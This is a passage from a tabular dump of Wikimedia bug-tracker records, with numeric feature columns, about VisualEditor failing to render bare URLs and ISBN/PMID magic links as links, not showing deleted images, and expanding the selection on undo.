https://bugzilla.wikimedia.org/show_bug.cgi?id=52204",Medium,50.0,1375129740,1394489652.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-7wx6pzrxilelrduf5qci,task_description,resolved,True,c1,3,False,False,False,4,,0.0,0.0,0.0,2.0,2.0,5.0,2.0,1.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,5.0,2.0,2.0,1.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,11.0,3.0,2.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,9.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,1.0,0.0,0.0,0.0,3.78125,0.5833333333333334,"When you copy & paste a link into VisualEditor, it will not be recognized as a URL, but will appear as plaintext. The MediaWiki parser does render it as a clickable link, of course.

This is annoying especially for references, because you might be confused why your link you're adding as a citation doesn't appear to be clickable.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
247714,VisualEditor: Render absolute URLs as links inside the editor,"Merging this into 52204 as it's a sub-request.

*** This bug has been marked as a duplicate of bug 52204 ***",,,1394489652,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7wx6pzrxilelrduf5qci,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,2.966666666666667,0.7,"Merging this into 52204 as it's a sub-request.

*** This bug has been marked as a duplicate of bug 52204 ***"
54204,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link","Adding ""ISBN 0-471-17864-0"" doesn't render the ISBN as a link.  This is more important in the reference tool, but should work on all rich text surfaces.

See also:
* {T54241}
* {T63558}",Medium,50.0,1375057320,1439918046.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-df6digqa5tkg4x3pko26,task_description,resolved,True,c1,3,False,False,False,4,,2.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,13.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,8.0,0.0,0.0,6.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.9622641509433962,0.7924528301886793,"Adding ""ISBN 0-471-17864-0"" doesn't render the ISBN as a link.  This is more important in the reference tool, but should work on all rich text surfaces.

See also:
* {T54241}
* {T63558}"
510410,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link","Filed T109498 for the remaining ""pasted ISBN"" bit of this bug.",,,1439925713,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,True,,,111,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.7142857142857144,0.9285714285714286,"Filed T109498 for the remaining ""pasted ISBN"" bit of this bug."
510228,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link","Change 230146 merged by jenkins-bot:
Detect paste of wikitext and convert it

[[https://gerrit.wikimedia.org/r/230146]]",,,1439913324,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,False,,,111,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,5.0,9.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.727272727272727,0.9090909090909091,"Change 230146 merged by jenkins-bot:
Detect paste of wikitext and convert it

[[GERRIT_URL]]"
510193,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link","Change 230146 had a related patch set uploaded (by Jforrester):
Detect paste of wikitext and convert it

[[https://gerrit.wikimedia.org/r/230146]]
",,,1439910967,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,False,,,111,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,7.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.888888888888889,0.8888888888888888,"Change 230146 had a related patch set uploaded (by Jforrester):
Detect paste of wikitext and convert it

[[GERRIT_URL]]
"
510191,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link","Typed and pasted URLs are now merged in core.

*Pasted* RFC/PMID/ISBN links is implemented  (https://gerrit.wikimedia.org/r/230146 is in review).

Currently missing: *typed* RFC/PMID/ISBN links are not autolinked.",,,1439910724,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,True,,,111,,0.0,0.0,0.0,6.0,2.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,23.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.4680851063829787,0.6595744680851063,"Typed and pasted URLs are now merged in core.

*Pasted* RFC/PMID/ISBN links is implemented  (GERRIT_URL is in review).

Currently missing: *typed* RFC/PMID/ISBN links are not autolinked."
507619,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link","Autolink when typing has been merged.  Autolink after pasting is in review, but the functionality is complete.",,,1439487915,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,True,,,110,,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,10.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.476190476190476,0.8571428571428571,"Autolink when typing has been merged.  Autolink after pasting is in review, but the functionality is complete."
504885,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link",">>! In T54204#1522662, @Amire80 wrote:
>>>! In T54204#1507599, @ssastry wrote:
>> T107433 (merged as a dupe here) seems to be a major source of nowikis on frwiki as per https://fr.wikipedia.org/wiki/Wikip%C3%A9dia:%C3%89diteurVisuel/Avis/Nowiki
> 
> In Hebrew as well.

@cscott is working on patches for this ( https://gerrit.wikimedia.org/r/#/c/230146/ and https://gerrit.wikimedia.org/r/#/c/230145/ )",,,1439133300,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,True,,,109,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,36.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.5,0.5909090909090909,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
SCREEN_NAME is working on patches for this ( URL and URL )"
504880,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link",">>! In T54204#1507599, @ssastry wrote:
> T107433 (merged as a dupe here) seems to be a major source of nowikis on frwiki as per https://fr.wikipedia.org/wiki/Wikip%C3%A9dia:%C3%89diteurVisuel/Avis/Nowiki

In Hebrew as well.",,,1439132488,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,False,,,109,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.111111111111111,0.8888888888888888,"QUOTE
QUOTE

In Hebrew as well."
502028,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link",T107433 (merged as a dupe here) seems to be a major source of nowikis on frwiki as per https://fr.wikipedia.org/wiki/Wikip%C3%A9dia:%C3%89diteurVisuel/Avis/Nowiki,,,1438716820,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,True,,,109,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,29.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,3.4285714285714284,0.9047619047619048,T107433 (merged as a dupe here) seems to be a major source of nowikis on frwiki as per URL
245652,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link",*** Bug 52241 has been marked as a duplicate of this bug. ***,,,1394489652,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52241 has been marked as a duplicate of this bug. ***
245645,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link","(In reply to comment #5)
> Magic links are pretty evil.

They are one of many unusual pieces of wiki syntax. And it is quite 'wikipedia' specific functionality which could be dropped from core.

> Explicitly marking links with a parser function
> is
> much more sensible.

If the goal is to replace them with a more standard syntax, a 'isbn' interwiki pointing to special:booksources/$1 would be syntax that is more similar and conceptually closer also. Ideally it would render as an internal link when the interwiki points to the local special page.

> I'm not sure supporting magic links in VisualEditor is a
> good idea.

What is the impact of not supporting these magic links on a) big wikipedias like enwp where these magic works will often be used from a cite template (which can be changed without editing millions of pages) and b) small wikis which are imo more likely to use these magic words in raw wikitext.
I.e. How many bot edits are needed, and how many tools need to be revised.",,,1376794728,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,False,,,6,,1.5,0.0,0.0,2.5,0.5,11.5,1.5,0.0,0.0,0.5,2.0,2.0,0.0,0.0,0.0,0.0,0.5,8.0,10.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,4.0,0.0,1.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,17.0,0.0,1.5,0.5,1.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,1.0,1.5,0.0,4.5,6.5,7.5,2.5,2.0,8.0,0.0,0.0,0.0,0.5,4.5,0.0,1.0,0.0,2.0,10.5,1.5,0.0,2.0,0.0,2.0,0.0,5.0,2.5,0.5,1.0,2.0,0.0,0.5,3.95,0.7388888888888889,"(In reply to comment #5)
QUOTE

They are one of many unusual pieces of wiki syntax. And it is quite 'wikipedia' specific functionality which could be dropped from core.

QUOTE
QUOTE
QUOTE

If the goal is to replace them with a more standard syntax, a 'isbn' interwiki pointing to special:booksources/$1 would be syntax that is more similar and conceptually closer also. Ideally it would render as an internal link when the interwiki points to the local special page.

QUOTE
QUOTE

What is the impact of not supporting these magic links on a) big wikipedias like enwp where these magic works will often be used from a cite template (which can be changed without editing millions of pages) and b) small wikis which are imo more likely to use these magic words in raw wikitext.
I.e. How many bot edits are needed, and how many tools need to be revised."
245639,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link",Magic links are pretty evil. Explicitly marking links with a parser function is much more sensible. I'm not sure supporting magic links in VisualEditor is a good idea.,,,1376787661,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,False,,,6,,3.0,0.0,0.0,0.0,3.0,16.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,6.0,3.0,0.0,0.0,4.375,0.8125,Magic links are pretty evil. Explicitly marking links with a parser function is much more sensible. I'm not sure supporting magic links in VisualEditor is a good idea.
245634,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link","(In reply to comment #3)

> 
> Clicking on the non-hyphenated ISBN, however, results in a failed attempt to
> go
> directly to the ISBN search page, with this resulting error:
> 
> Error
> 404 – File not found
> http://en.wikipedia.org/Special:BookSources/9781234567890
> We could not find the above page on our servers.
> Did you mean to type
> http://en.wikipedia.org/wiki/Special:BookSources/9781234567890? You will be
> automatically redirected there in five seconds.
> Alternatively, you can visit the Main Page or read more information about
> this
> type of error.

The incorrect URI is bug 48915 (it's even worse for non-English wikis as it always suggests a page on en.wp). Although I presume what is wanted is for the ISBN to be edited rather than taking you to the ISBN search page? If so then getting to that page from a right click/ctrl+click would potentially be useful.",,,1376064405,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,1.0,1.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,5.0,11.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,1.5,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.5,4.5,14.5,2.0,0.0,5.0,0.0,0.0,0.0,0.5,2.5,0.0,1.0,0.0,3.5,11.0,11.0,1.0,0.0,0.0,3.5,0.0,1.0,2.0,0.0,2.0,0.5,0.0,0.0,3.4716981132075473,0.6320754716981132,"(In reply to comment #3)

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The incorrect URI is bug 48915 (it's even worse for non-English wikis as it always suggests a page on en.wp). Although I presume what is wanted is for the ISBN to be edited rather than taking you to the ISBN search page? If so then getting to that page from a right click/ctrl+click would potentially be useful."
245629,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link","This works for me, but perhaps not as expected.

You can add:

PMIDs:  http://en.wikipedia.org/w/index.php?title=User:Whatamidoing_(WMF)/sandbox&diff=563393942&oldid=563393897

ISBNs without hyphenation:  http://en.wikipedia.org/w/index.php?title=User:Whatamidoing_(WMF)/sandbox&diff=567704513&oldid=564410882

ISBNs with hyphens:  http://en.wikipedia.org/w/index.php?title=User:Whatamidoing_(WMF)/sandbox&diff=567704681&oldid=567704513

Exactly like the classic wikitext editor, these do not display as being links until after they are saved.  They do work correctly when saved.

After they have been saved, if you go back into VisualEditor to edit again, then the PMID and hyphenated ISBNs are not editable or clickable (except to select the whole element).  Changes to them must be made by deleting the whole thing and retyping from scratch.  

Clicking on the non-hyphenated ISBN, however, results in a failed attempt to go directly to the ISBN search page, with this resulting error:

Error
404 – File not found
http://en.wikipedia.org/Special:BookSources/9781234567890
We could not find the above page on our servers.
Did you mean to type http://en.wikipedia.org/wiki/Special:BookSources/9781234567890? You will be automatically redirected there in five seconds.
Alternatively, you can visit the Main Page or read more information about this type of error.",,,1375982678,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,1.3333333333333333,2.0,3.6666666666666665,0.3333333333333333,0.0,0.0,0.3333333333333333,2.3333333333333335,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,6.333333333333333,10.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,2.3333333333333335,1.6666666666666667,0.0,0.3333333333333333,2.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,11.0,1.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,2.0,11.0,1.0,1.6666666666666667,5.0,0.0,0.0,0.0,0.0,5.333333333333333,0.0,1.0,0.0,4.666666666666667,10.0,2.6666666666666665,0.0,0.0,0.0,4.666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,1.3333333333333333,0.3333333333333333,0.0,0.0,3.8589798238135837,0.7428246660983234,"This works for me, but perhaps not as expected.

You can add:

PMIDs:  URL

ISBNs without hyphenation:  URL

ISBNs with hyphens:  URL

Exactly like the classic wikitext editor, these do not display as being links until after they are saved.  They do work correctly when saved.

After they have been saved, if you go back into VisualEditor to edit again, then the PMID and hyphenated ISBNs are not editable or clickable (except to select the whole element).  Changes to them must be made by deleting the whole thing and retyping from scratch.  

Clicking on the non-hyphenated ISBN, however, results in a failed attempt to go directly to the ISBN search page, with this resulting error:

Error
404 – File not found
URL
We could not find the above page on our servers.
Did you mean to type URL You will be automatically redirected there in five seconds.
Alternatively, you can visit the Main Page or read more information about this type of error."
245624,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link","I guess the other Magic links http://www.mediawiki.org/wiki/Markup_spec/BNF/Magic_links
for RFC and PMID should be included here.",,,1375941068,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,29.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6470588235294117,1.0,"I guess the other Magic links URL
for RFC and PMID should be included here."
245618,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link",Discussed at http://en.wikipedia.org/wiki/Wikipedia_talk:VisualEditor#Should_inability_to_edit_ISBNs_be_listed_in_the_limitations_section.3F,,,1375940866,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,Discussed at URL
54186,VisualEditor: Invocations of deleted images don't render at all,"**Author:** `wikipedia`

**Description:**
When a file is deleted and still is being used in an article, this file is shown in the article as a box with a red link in it. Starting VE to remove the link, the link is no more visible and thus cannot be removed.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Windows 7",Medium,50.0,1375010460,1389632313.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-pw24nueljk2i343joyw2,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.0,5.0,1.0,4.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,7.0,11.0,1.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,7.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,0.0,1.0,1.0,0.0,0.0,3.208791208791209,0.5604395604395604,"**Author:** CODE

**Description:**
When a file is deleted and still is being used in an article, this file is shown in the article as a box with a red link in it. Starting VE to remove the link, the link is no more visible and thus cannot be removed.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Windows 7"
244397,VisualEditor: Invocations of deleted images don't render at all,"

*** This bug has been marked as a duplicate of bug 50788 ***",,,1389632313,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-pw24nueljk2i343joyw2,task_subcomment,,True,c1,3,True,,,28,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50788 ***"
54184,VisualEditor: Selection expanded on undoing a deletion to cover the whole paragraph,"**Author:** `jonathan_haas`

**Description:**
Steps to reproduce:

1. Goto http://de.wikipedia.org/wiki/The_Binding_of_Isaac?veaction=edit
2. Position the cursor at the start of the page directly before the bold ""T"".
3. Hit Backspace (to delete infobox)
4. Hit Ctrl+Z (undo)
5. Hit Backspace again
6. Hit Ctrl+Z again
Repeat as long as you want

Actual result:

On each Ctrl+Z a paragraph more is selected

Expected result:

Selection stays the same, undo should undo the action and not change the selection

--------------------------
**Version**: unspecified
